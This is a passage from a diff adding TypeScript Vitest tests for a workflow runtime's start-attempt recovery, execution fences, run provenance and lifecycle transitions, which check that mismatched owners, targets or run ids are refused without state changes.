expect(refused).toBeInstanceOf(ExecutionFenceUnreadableError); + await expect( + f.runtime.recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: claim, + isOwnerQuiescent: () => true, + }), + ).resolves.toMatchObject({ + kind: 'ordinary', + summary: { status: 'failed' }, + }); + expect(settle).toHaveBeenCalledTimes(2); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'terminal', + ); + } finally { + f.close(); + } + }); + + it.each([ + 'wrong-owner', + 'wrong-target', + 'missing-store', + ] as const)('R09 refuses keyed recovery with %s authority', async (mode) => { + const f = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + const runtime = + mode === 'missing-store' + ? init( + { storage: f.storage }, + { executionFence: f.fence, startIdempotency: 'none' }, + ).runtime + : f.runtime; + if (runtime !== f.runtime) runtime.register(f.workflow); + const original = + mode === 'wrong-owner' + ? { ...claim, owner: { kind: 'human' as const, id: 'other' } } + : mode === 'wrong-target' + ? { ...claim, targetId: 'other' } + : claim; + const before = await f.row(); + const result = await runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: original, + isOwnerQuiescent: () => true, + }) + .catch((error) => error); + expect(await f.row()).toEqual(before); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'started', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'provider', + 'preparation', + 'create', + 'fence-wait', + ] as const)('R12 retains the originally admitted proof S through the %s wait', async (phase) => { + const entered = cDeferred(), + release = cDeferred(); + let resumePhase = false; + const f = await d3RuntimeFixture( + 'fenced', + phase === 'provider' + ? async () => { + if (resumePhase) { + entered.resolve(); + await release.promise; + } + return {}; + } + : undefined, + ); + let pending: Promise | undefined; + try { + const claim = await f.claim(); + await f.fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: claim.key, + }); + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + idempotencyKey: claim.key, + startReservation: claim, + }); + const before = await f.row(); + assert(before); + resumePhase = true; + if (phase === 'create') { + const create = f.workflow.createRun.bind(f.workflow); + vi.spyOn(f.workflow, 'createRun').mockImplementation( + async (...args) => { + const run = await create(...args); + entered.resolve(); + await release.promise; + return run; + }, + ); + } + if (phase === 'fence-wait') { + const read = f.fence.read.bind(f.fence); + let count = 0; + vi.spyOn(f.fence, 'read').mockImplementation(async () => { + const result = await read(); + if (++count === 2) { + entered.resolve(); + await release.promise; + } + return result; + }); + } + pending = f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + prepareExecution: + phase === 'preparation' + ? async () => { + entered.resolve(); + await release.promise; + } + : undefined, + }); + void pending.catch(() => undefined); + await entered.promise; + assert(before.requestContext); + before.requestContext['flowsafe.runProvenance'].startToken = 'S2'; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot: before, + }); + release.resolve(); + const result = await pending.catch((error) => error); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].startToken, + ).toBe('S2'); + expect(f.effects).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + release.resolve(); + await pending?.catch(() => undefined); + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it.each([ + 'cancelled', + 'timed_out', + ] as const)('R10 recovers saved %s intent as a lifecycle descriptor and preserves completed cleanup', async (status) => { + const f = await d3RuntimeFixture(); + try { + const { execution, claim } = await d3PreparedPending(f); + const snapshot = await f.row(); + assert(snapshot?.requestContext); + snapshot.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: 1, + transitionIntent: { + status, + requestedAt: 1, + replayPrincipals: [{ kind: 'service', id: 'source-owner' }], + }, + }; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + const result = await f.runtime.recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: claim, + isOwnerQuiescent: () => true, + }); + expect((await f.row())?.status).toBe(status); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'terminal', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toMatchObject({ + kind: 'lifecycle', + transition: { + transitioned: true, + casMatched: true, + summary: { status }, + cleanup: { cleanupCompleted: false, status }, + }, + }); + assert(result?.kind === 'lifecycle'); + await f.runtime.completeTerminalCleanup( + f.workflow.id, + 'd3-run', + result.transition.cleanup.revision, + ); + await expect( + f.runtime.recoverStartAttempt(execution, { + attemptToken: 'H', + startReservation: claim, + isOwnerQuiescent: () => true, + }), + ).resolves.toMatchObject({ + kind: 'lifecycle', + transition: { + transitioned: false, + cleanup: { cleanupCompleted: true }, + }, + }); + } finally { + f.close(); + } + }); + + it('R10 preserves a raw pending row with terminal-looking metadata on public status reads', async () => { + const f = await d3RuntimeFixture(); + try { + await d3PreparedPending(f); + const snapshot = await f.row(); + assert(snapshot?.requestContext); + snapshot.requestContext['flowsafe.runLifecycle'] = { + version: 1, + revision: 1, + terminal: { + status: 'cancelled', + transitionedAt: 1, + error: { code: 'CANCELLED', message: 'run was cancelled' }, + replayPrincipals: [{ kind: 'human', id: 'owner' }], + }, + }; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + const before = await f.row(); + for (const method of ['status', 'authoritativeStatus'] as const) + await expect( + f.runtime[method](f.workflow.id, 'd3-run'), + ).rejects.toBeInstanceOf(RunStartPendingError); + const observation = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + ); + expect(await f.row()).toEqual(before); + expect(f.effects).not.toHaveBeenCalled(); + expect(observation).toMatchObject({ kind: 'initial' }); + expect(observation).not.toHaveProperty('summary'); + } finally { + f.close(); + } + }); + + it('R13 permits capable no-fence initial pending omission followed by a real nonpending result', async () => { + const f = await d3RuntimeFixture('prefixed'); + try { + f.workflow.options.shouldPersistSnapshot = ({ workflowStatus }) => + workflowStatus !== 'pending'; + const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot'); + await expect( + f.runtime.start(f.workflow.id, f.options()), + ).resolves.toMatchObject({ status: 'success' }); + expect((await f.row())?.status).toBe('success'); + expect( + persist.mock.calls.some( + ([input]) => input.snapshot.status === 'pending', + ), + ).toBe(false); + expect(f.effects).toHaveBeenCalledOnce(); + } finally { + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it.each([ + 'start', + 'resume', + ] as const)('R13 does not replace a selected pending normal %s observation with a later readable result', async (leg) => { + const f = await d3RuntimeFixture(); + try { + if (leg === 'resume') + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + }); + assert(f.capability); + const read = f.capability.readSnapshot; + const selected = vi + .spyOn(f.capability, 'readSnapshot') + .mockImplementationOnce(async (address) => { + const row = await read(address); + assert(row); + const snapshot = JSON.parse(row.snapshot); + snapshot.status = 'pending'; + return { ...row, snapshot: JSON.stringify(snapshot) }; + }); + const result = await (leg === 'start' + ? f.runtime.start(f.workflow.id, f.options()) + : f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + }) + ).catch((error) => error); + expect((await f.row())?.status).toBe('success'); + expect(f.effects).toHaveBeenCalledTimes(leg === 'start' ? 1 : 2); + expect(selected).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(RunStartPendingError); + } finally { + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it.each([ + 'skip', + 'swallow', + 'reject', + 'response-loss', + ] as const)('R03 prevents unwitnessed engine entry and preserves response-loss evidence: %s', async (mode) => { + const f = await d3RuntimeFixture(); + try { + const claim = await f.claim(); + assert(f.capability); + if (mode === 'skip') + f.workflow.options.shouldPersistSnapshot = () => false; + if (mode === 'swallow') + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockResolvedValueOnce( + undefined, + ); + if (mode === 'reject') + vi.spyOn(f.capability.database, 'batch').mockRejectedValueOnce( + new Error('initial SQL unavailable'), + ); + if (mode === 'response-loss') { + const batch = f.capability.database.batch.bind(f.capability.database); + vi.spyOn(f.capability.database, 'batch').mockImplementationOnce( + async (statements) => { + await batch(statements); + throw new Error('lost SQL response'); + }, + ); + } + const result = await f.runtime + .start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + }) + .catch((error) => error); + expect((await f.row())?.status ?? null).toBe( + mode === 'response-loss' ? 'success' : null, + ); + expect(f.effects).toHaveBeenCalledTimes(mode === 'response-loss' ? 1 : 0); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + mode === 'response-loss' ? 'terminal' : 'started', + ); + if (mode === 'response-loss') + expect(result).toMatchObject({ status: 'success' }); + else expect(result).toBeInstanceOf(Error); + } finally { + f.close(); + } + }); + + it('R03 preserves a replacement cache and tokenless row after its own no-insert refusal', async () => { + const f = await d3RuntimeFixture(), + other = await d3RuntimeFixture('prefixed'); + try { + const replacement = await other.workflow.createRun({ runId: 'd3-run' }); + assert(f.capability); + const native = f.capability.withInitialAdmission; + f.capability.withInitialAdmission = async (input, create) => { + try { + return await native(input, create); + } catch (error) { + const tokenless = await other.row(); + assert(tokenless); + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot: tokenless, + }); + f.workflow.runs.set('d3-run', replacement); + throw error; + } + }; + const claim = await f.claim(); + const result = await f.runtime + .start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + onPreparedStartIdentity: async () => { + await f.fence.transition({ expected: 'open', next: 'draining' }); + }, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('pending'); + expect((await f.row())?.requestContext).toBeUndefined(); + expect(f.workflow.runs.get('d3-run')).toBe(replacement); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(Error); + } finally { + f.close(); + other.close(); + } + }); + + it('R04 installs the frame before the existence read and keeps it during result recovery', async () => { + const entered = cDeferred(), + release = cDeferred(), + reading = cDeferred(), + readRelease = cDeferred(); + const f = await d3RuntimeFixture(); + let pending: Promise | undefined; + try { + const existing = f.workflow.getWorkflowRunById.bind(f.workflow); + vi.spyOn(f.workflow, 'getWorkflowRunById').mockImplementationOnce( + async (...args) => { + entered.resolve(); + await release.promise; + return existing(...args); + }, + ); + const create = f.workflow.createRun.bind(f.workflow); + vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => { + const run = await create(...args), + start = run.start.bind(run); + vi.spyOn(run, 'start').mockImplementation(async (...input) => { + await start(...input); + throw new Error('lost engine result'); + }); + return run; + }); + assert(f.capability); + const read = f.capability.readSnapshot; + f.capability.readSnapshot = async (address) => { + reading.resolve(); + await readRelease.promise; + return read(address); + }; + pending = f.runtime.start(f.workflow.id, f.options()); + await entered.promise; + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(true); + release.resolve(); + await reading.promise; + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(true); + readRelease.resolve(); + await expect(pending).resolves.toMatchObject({ status: 'success' }); + expect(f.runtime.isRunActive(f.workflow.id, 'd3-run')).toBe(false); + } finally { + release.resolve(); + readRelease.resolve(); + await pending?.catch(() => undefined); + f.close(); + } + }); + + it('R12 refuses a replacement after early proof selection before invoking the resume provider', async () => { + const provider = vi.fn(() => ({})); + const f = await d3RuntimeFixture('fenced', provider); + try { + const claim = await f.claim(); + await f.fence.transition({ + expected: 'open', + next: 'proof-only', + proofKey: claim.key, + }); + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + startReservation: claim, + idempotencyKey: claim.key, + }); + provider.mockClear(); + assert(f.capability); + const read = f.capability.readSnapshot; + vi.spyOn(f.capability, 'readSnapshot').mockImplementationOnce( + async (address) => { + const original = await read(address); + const snapshot = await f.row(); + assert(snapshot?.requestContext); + snapshot.requestContext['flowsafe.runProvenance'].startToken = 'S2'; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + return original; + }, + ); + const result = await f.runtime + .resume(f.workflow.id, 'd3-run', { resumeData: { go: true } }) + .catch((error) => error); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].startToken, + ).toBe('S2'); + expect(provider).not.toHaveBeenCalled(); + expect(f.effects).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it('R09 keeps lifecycle terminal persistence and settlement on the selected source across load replacement', async () => { + const f = await d3RuntimeFixture(), + other = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + }); + await other.runtime.start(other.workflow.id, { + ...other.options(), + inputData: { suspend: true }, + }); + const foreignBefore = await other.row(); + const load = f.workflows.loadWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'loadWorkflowSnapshot').mockImplementationOnce( + async (input) => { + const selected = await load(input); + vi.spyOn(f.workflow, 'mastra', 'get').mockReturnValue( + new Mastra({ storage: other.storage, logger: false }), + ); + return selected; + }, + ); + const result = await f.runtime.terminate(f.workflow.id, 'd3-run'); + expect((await f.row())?.status).toBe('cancelled'); + expect(await other.row()).toEqual(foreignBefore); + expect(f.effects).toHaveBeenCalledOnce(); + expect(result.summary.status).toBe('cancelled'); + } finally { + f.close(); + other.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it('R13 refuses a Core pending result after a real positive initial admission witness', async () => { + const f = await d3RuntimeFixture(); + try { + const claim = await f.claim(); + const create = f.workflow.createRun.bind(f.workflow); + const starts = vi.fn(); + vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => { + const run = await create(...args); + vi.spyOn(run, 'start').mockImplementation(async () => { + starts(); + return { status: 'pending' } as never; + }); + return run; + }); + const result = await f.runtime + .start(f.workflow.id, { + ...f.options(), + startReservation: claim, + idempotencyKey: claim.key, + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('pending'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .initialAdmission, + ).toBe(true); + expect((await f.reservations.readForAdmission(claim.key))?.state).toBe( + 'started', + ); + expect(f.effects).not.toHaveBeenCalled(); + expect(starts).toHaveBeenCalledOnce(); + expect(result).toBeInstanceOf(RunStartPendingError); + } finally { + f.close(); + } + }); + + it.each([ + 'fenced', + 'prefixed', + 'custom', + ] as const)('R07 permits missing-provenance terminal repair only for no-fence %s execution', async (mode) => { + const f = await d3RuntimeFixture(mode); + try { + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + let stripped = false; + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation( + async (input) => { + if (input.snapshot.status === 'success' && !stripped) { + stripped = true; + const snapshot = structuredClone(input.snapshot); + delete snapshot.requestContext; + return persist({ ...input, snapshot }); + } + return persist(input); + }, + ); + const result = await f.runtime + .start(f.workflow.id, f.options()) + .catch((error) => error); + expect((await f.row())?.status).toBe('success'); + expect(f.effects).toHaveBeenCalledOnce(); + if (mode === 'fenced') { + expect((await f.row())?.requestContext).toBeUndefined(); + expect(result).toBeInstanceOf(RunStateUnreadableError); + } else { + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].version, + ).toBe(2); + expect(result).toMatchObject({ status: 'success' }); + } + } finally { + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it('R04 invokes the engine synchronously before a cancellation queued during initial persistence enters the lifecycle lock', async () => { + const f = await d3RuntimeFixture(); + let cancellation: Promise | undefined; + let engineEntered = false; + let readBeforeEngine = false; + try { + const load = f.workflows.loadWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'loadWorkflowSnapshot').mockImplementation( + async (input) => { + if (cancellation && !engineEntered) readBeforeEngine = true; + return load(input); + }, + ); + const create = f.workflow.createRun.bind(f.workflow); + vi.spyOn(f.workflow, 'createRun').mockImplementation(async (...args) => { + const run = await create(...args), + start = run.start.bind(run); + vi.spyOn(run, 'start').mockImplementation((...input) => { + engineEntered = true; + return start(...input); + }); + return run; + }); + assert(f.capability); + const admit = f.capability.withInitialAdmission; + f.capability.withInitialAdmission = (input, createRun) => + admit( + { + ...input, + onInitialWriteAttempt: () => { + input.onInitialWriteAttempt(); + cancellation = f.runtime + .cancelActiveExecution(f.workflow.id, 'd3-run', 'cancelled', [ + { kind: 'human', id: 'owner' }, + ]) + .catch((error) => error); + }, + }, + createRun, + ); + await f.runtime.start(f.workflow.id, f.options()).catch((error) => error); + await cancellation; + expect(readBeforeEngine).toBe(false); + expect(engineEntered).toBe(true); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].version, + ).toBe(2); + } finally { + await cancellation; + f.close(); + } + }); +}); + +describe('FS8 D3 Runtime activation', () => { + it.each([ + 'cancel', + 'terminate', + 'cleanup', + 'resume', + 'repair', + ] as const)('R09 preserves the selected row when its internal run id contradicts the %s address', async (operation) => { + const f = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + }); + let cleanupRevision = 1; + if (operation === 'cleanup') + cleanupRevision = (await f.runtime.terminate(f.workflow.id, 'd3-run')) + .cleanup.revision; + if (operation === 'repair') { + const persist = f.workflows.persistWorkflowSnapshot.bind(f.workflows); + vi.spyOn(f.workflows, 'persistWorkflowSnapshot').mockImplementation( + (input) => + persist({ + ...input, + snapshot: { + ...input.snapshot, + runId: 'foreign-run', + ...(input.snapshot.status === 'success' + ? { status: 'pending' as const } + : {}), + }, + }), + ); + } else { + const snapshot = await f.row(); + assert(snapshot); + snapshot.runId = 'foreign-run'; + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + } + const before = await f.row(); + const persist = vi.spyOn(f.workflows, 'persistWorkflowSnapshot'); + persist.mockClear(); + const pending = + operation === 'cancel' + ? f.runtime.cancelActiveExecution( + f.workflow.id, + 'd3-run', + 'cancelled', + [{ kind: 'human', id: 'owner' }], + ) + : operation === 'terminate' + ? f.runtime.terminate(f.workflow.id, 'd3-run') + : operation === 'cleanup' + ? f.runtime.completeTerminalCleanup( + f.workflow.id, + 'd3-run', + cleanupRevision, + ) + : f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + }); + const result = await pending.catch((error) => error); + if (operation !== 'repair') { + expect(await f.row()).toEqual(before); + expect(persist).not.toHaveBeenCalled(); + expect(f.effects).toHaveBeenCalledOnce(); + } else { + expect((await f.row())?.runId).toBe('foreign-run'); + expect( + persist.mock.calls.filter( + ([input]) => input.snapshot.status === 'success', + ), + ).toHaveLength(1); + } + expect(result).toBeInstanceOf(RunStateUnreadableError); + } finally { + f.close(); + } + }); +}); + +async function d3UnkeyedTargetPending( + f: Awaited>, + kind: 'agent' | 'workflow' = 'agent', +) { + assert(f.capability); + const admit = f.capability.withInitialAdmission; + let execution: D1RunExecutionIdentity | undefined; + f.capability.withInitialAdmission = async (input, create) => { + const result = await admit(input, create); + return { ...result, witness: undefined } as never; + }; + try { + await expect( + f.runtime.start(f.workflow.id, { + ...f.options(), + ...(kind === 'agent' + ? { + startIdentity: { + owner: { kind: 'human', id: 'owner' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }, + agentStart: { threaded: false }, + } + : {}), + onPreparedStartIdentity: (identity) => { + execution = normalizeD1RunExecutionIdentity(identity); + }, + }), + ).rejects.toBeInstanceOf(RunStateUnreadableError); + assert(execution); + return execution; + } finally { + f.capability.withInitialAdmission = admit; + } +} + +function d3ExpectedAgentTarget() { + return { + kind: 'agent' as const, + id: 'writer', + threadId: 'thread', + owner: { kind: 'human' as const, id: 'owner' }, + threaded: false, + }; +} + +function d3ReplaceRecoveryTarget( + provenance: NonNullable[string], + mismatch: string, +) { + if (mismatch === 'owner-id') { + provenance.startIdentity.owner.id = 'other-owner'; + provenance.requestedBy = 'other-owner'; + } else if (mismatch === 'owner-kind') { + provenance.startIdentity.owner.kind = 'service'; + provenance.requestedByKind = 'service'; + } else if (mismatch === 'agent') + provenance.startIdentity.target.id = 'other-agent'; + else if (mismatch === 'thread') + provenance.startIdentity.target.threadId = 'other-thread'; + else if (mismatch === 'mode') provenance.agentStart.threaded = true; + else if (mismatch === 'workflow-role') { + provenance.startIdentity.target = { kind: 'workflow', id: 'd3-workflow' }; + delete provenance.agentStart; + } else if (mismatch === 'missing-identity') { + delete provenance.startIdentity; + delete provenance.agentStart; + delete provenance.requestedBy; + delete provenance.requestedByKind; + } +} + +describe('FS8 D3 Runtime activation', () => { + it.each( + (['initial', 'result'] as const).flatMap((phase) => + [ + 'owner-id', + 'owner-kind', + 'agent', + 'thread', + 'mode', + 'workflow-role', + 'missing-identity', + ].map((mismatch) => ({ phase, mismatch })), + ), + )('R09 managed agent recovery validates its single $phase observation before mutation: $mismatch', async ({ + phase, + mismatch, + }) => { + const f = await d3RuntimeFixture(); + try { + const execution = await d3UnkeyedTargetPending(f); + const snapshot = await f.row(); + assert(snapshot?.requestContext); + d3ReplaceRecoveryTarget( + snapshot.requestContext['flowsafe.runProvenance'], + mismatch, + ); + if (phase === 'result') + Object.assign(snapshot, { + status: 'success', + result: { selected: true }, + }); + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + assert(f.capability); + const rawRead = f.capability.readSnapshot; + const before = await rawRead({ + workflowId: f.workflow.id, + runId: 'd3-run', + }); + const read = vi.spyOn(f.capability, 'readSnapshot'); + const terminalize = vi.spyOn(f.capability, 'terminalizeInitialAdmission'); + const settle = vi.spyOn(f.reservations, 'settleExecution'); + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + expectedTarget: d3ExpectedAgentTarget(), + }) + .catch((error) => error); + expect( + await rawRead({ workflowId: f.workflow.id, runId: 'd3-run' }), + ).toEqual(before); + expect(read).toHaveBeenCalledOnce(); + expect(terminalize).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'agent-role', + 'foreign-workflow', + 'missing-identity', + ] as const)('R09 managed workflow recovery refuses a same-S %s before B2', async (mismatch) => { + const f = await d3RuntimeFixture(); + try { + const execution = await d3UnkeyedTargetPending( + f, + mismatch === 'agent-role' ? 'agent' : 'workflow', + ); + const snapshot = await f.row(); + assert(snapshot?.requestContext); + if (mismatch === 'foreign-workflow') + snapshot.requestContext[ + 'flowsafe.runProvenance' + ].startIdentity.target.id = 'other-workflow'; + if (mismatch === 'missing-identity') + d3ReplaceRecoveryTarget( + snapshot.requestContext['flowsafe.runProvenance'], + mismatch, + ); + await f.workflows.persistWorkflowSnapshot({ + workflowName: f.workflow.id, + runId: 'd3-run', + snapshot, + }); + const before = await f.row(); + assert(f.capability); + const read = vi.spyOn(f.capability, 'readSnapshot'), + terminalize = vi.spyOn(f.capability, 'terminalizeInitialAdmission'), + settle = vi.spyOn(f.reservations, 'settleExecution'); + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + expectedTarget: { kind: 'workflow' }, + }) + .catch((error) => error); + expect(await f.row()).toEqual(before); + expect(read).toHaveBeenCalledOnce(); + expect(terminalize).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); + + it.each([ + 'quiescence', + 'read', + ] as const)('R08 freezes recovery expectation values and owner before the %s wait', async (phase) => { + const entered = cDeferred(), + release = cDeferred(); + const f = await d3RuntimeFixture(); + let pending: Promise | undefined; + try { + const execution = await d3UnkeyedTargetPending(f); + assert(f.capability); + const expectedTarget = d3ExpectedAgentTarget(); + const originalRead = f.capability.readSnapshot; + const read = vi + .spyOn(f.capability, 'readSnapshot') + .mockImplementation(async (address) => { + const row = await originalRead(address); + if (phase === 'read') { + entered.resolve(); + await release.promise; + } + return row; + }); + pending = f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + expectedTarget, + isOwnerQuiescent: async () => { + if (phase === 'quiescence') { + entered.resolve(); + await release.promise; + } + return true; + }, + }) + .catch((error) => error); + await entered.promise; + expect(Object.isFrozen(expectedTarget)).toBe(false); + expect(Object.isFrozen(expectedTarget.owner)).toBe(false); + Object.assign(expectedTarget, { + kind: 'workflow', + id: 'other-agent', + threadId: 'other-thread', + threaded: true, + }); + Object.assign(expectedTarget.owner, { + kind: 'service', + id: 'other-owner', + }); + release.resolve(); + const result = await pending; + expect((await f.row())?.status).toBe('failed'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .startIdentity, + ).toEqual({ + owner: { kind: 'human', id: 'owner' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }); + expect(read).toHaveBeenCalledOnce(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toMatchObject({ + kind: 'ordinary', + summary: { status: 'failed' }, + }); + } finally { + release.resolve(); + await pending; + f.close(); + } + }); + + it.each( + (['terminalized', 'progressed'] as const).flatMap((kind) => + [ + 'owner-id', + 'owner-kind', + 'agent', + 'thread', + 'mode', + 'workflow-role', + 'missing-identity', + ].map((mismatch) => ({ kind, mismatch })), + ), + )('R09 rejects a contradictory B2 $kind returned target before settlement: $mismatch', async ({ + kind, + mismatch, + }) => { + const f = await d3RuntimeFixture(); + try { + const execution = await d3UnkeyedTargetPending(f); + assert(f.capability); + const native = f.capability.terminalizeInitialAdmission; + const terminalize = vi + .spyOn(f.capability, 'terminalizeInitialAdmission') + .mockImplementation(async (input) => { + const result = await native(input); + assert(result.kind !== 'conflict'); + const snapshot = JSON.parse(result.row.snapshot); + d3ReplaceRecoveryTarget( + snapshot.requestContext['flowsafe.runProvenance'], + mismatch, + ); + return { + ...result, + kind, + row: { ...result.row, snapshot: JSON.stringify(snapshot) }, + }; + }); + const read = vi.spyOn(f.capability, 'readSnapshot'), + settle = vi.spyOn(f.reservations, 'settleExecution'); + const result = await f.runtime + .recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + expectedTarget: d3ExpectedAgentTarget(), + }) + .catch((error) => error); + expect((await f.row())?.status).toBe('failed'); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .startIdentity, + ).toEqual({ + owner: { kind: 'human', id: 'owner' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'].agentStart, + ).toEqual({ threaded: false }); + expect(read).toHaveBeenCalledOnce(); + expect(terminalize).toHaveBeenCalledOnce(); + expect(settle).not.toHaveBeenCalled(); + expect(f.effects).not.toHaveBeenCalled(); + expect(result).toBeInstanceOf(ExecutionFenceUnreadableError); + } finally { + f.close(); + } + }); + + it('R08 accepts a managed agent progressed result with a changed current-leg H and requester', async () => { + const f = await d3RuntimeFixture(); + try { + await f.runtime.start(f.workflow.id, { + ...f.options(), + inputData: { suspend: true }, + startIdentity: { + owner: { kind: 'human', id: 'owner' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread' }, + }, + agentStart: { threaded: false }, + }); + const original = await f.runtime.authoritativeStartState( + f.workflow.id, + 'd3-run', + ); + assert(original?.storage === 'd1'); + await f.runtime.resume(f.workflow.id, 'd3-run', { + resumeData: { go: true }, + requestedBy: 'reviewer', + requestedByKind: 'service', + }); + assert(f.capability); + const read = vi.spyOn(f.capability, 'readSnapshot'); + const result = await f.runtime.recoverStartAttempt(original.execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + expectedTarget: d3ExpectedAgentTarget(), + }); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .attemptToken, + ).not.toBe('H'); + expect(read).toHaveBeenCalledOnce(); + expect(f.effects).toHaveBeenCalledTimes(2); + expect(result).toMatchObject({ + kind: 'ordinary', + summary: { + status: 'success', + requestedBy: 'reviewer', + requestedByKind: 'service', + }, + }); + } finally { + f.close(); + } + }); + + it('R09 workflow expectation preserves the initiating owner without a source-owner assertion', async () => { + const f = await d3RuntimeFixture(); + try { + const execution = await d3UnkeyedTargetPending(f, 'workflow'); + await expect( + f.runtime.recoverStartAttempt(execution, { + attemptToken: 'H', + isOwnerQuiescent: () => true, + expectedTarget: { kind: 'workflow' }, + }), + ).resolves.toMatchObject({ + kind: 'ordinary', + summary: { status: 'failed', requestedBy: 'owner' }, + }); + expect( + (await f.row())?.requestContext?.['flowsafe.runProvenance'] + .startIdentity.owner, + ).toEqual({ kind: 'human', id: 'owner' }); + expect(f.effects).not.toHaveBeenCalled(); + } finally { + f.close(); + } + }); + + it.each([ + 'inherited', + 'unattributed', + ] as const)('R08 direct generic recovery stays role-neutral for %s results', async (kind) => { + const f = await d1Fixture(); + try { + const snapshot = d1Snapshot(); + if (kind === 'inherited') + snapshot.requestContext[ + 'flowsafe.runProvenance' + ].startIdentity.target.id = 'another-root'; + else { + delete snapshot.requestContext['flowsafe.runProvenance'].startIdentity; + delete snapshot.requestContext['flowsafe.runProvenance'].requestedBy; + delete snapshot.requestContext['flowsafe.runProvenance'] + .requestedByKind; + } + await f.seed(snapshot); + await expect( + f.runtime.recoverStartAttempt( + { + tablePrefix: '', + workflowId: 'd1-workflow', + runId: 'd1-run', + startToken: 'S1', + }, + { attemptToken: 'initial-H', isOwnerQuiescent: () => true }, + ), + ).resolves.toMatchObject({ + kind: 'ordinary', + summary: { status: 'success', result: { source: 'S1' } }, + }); + } 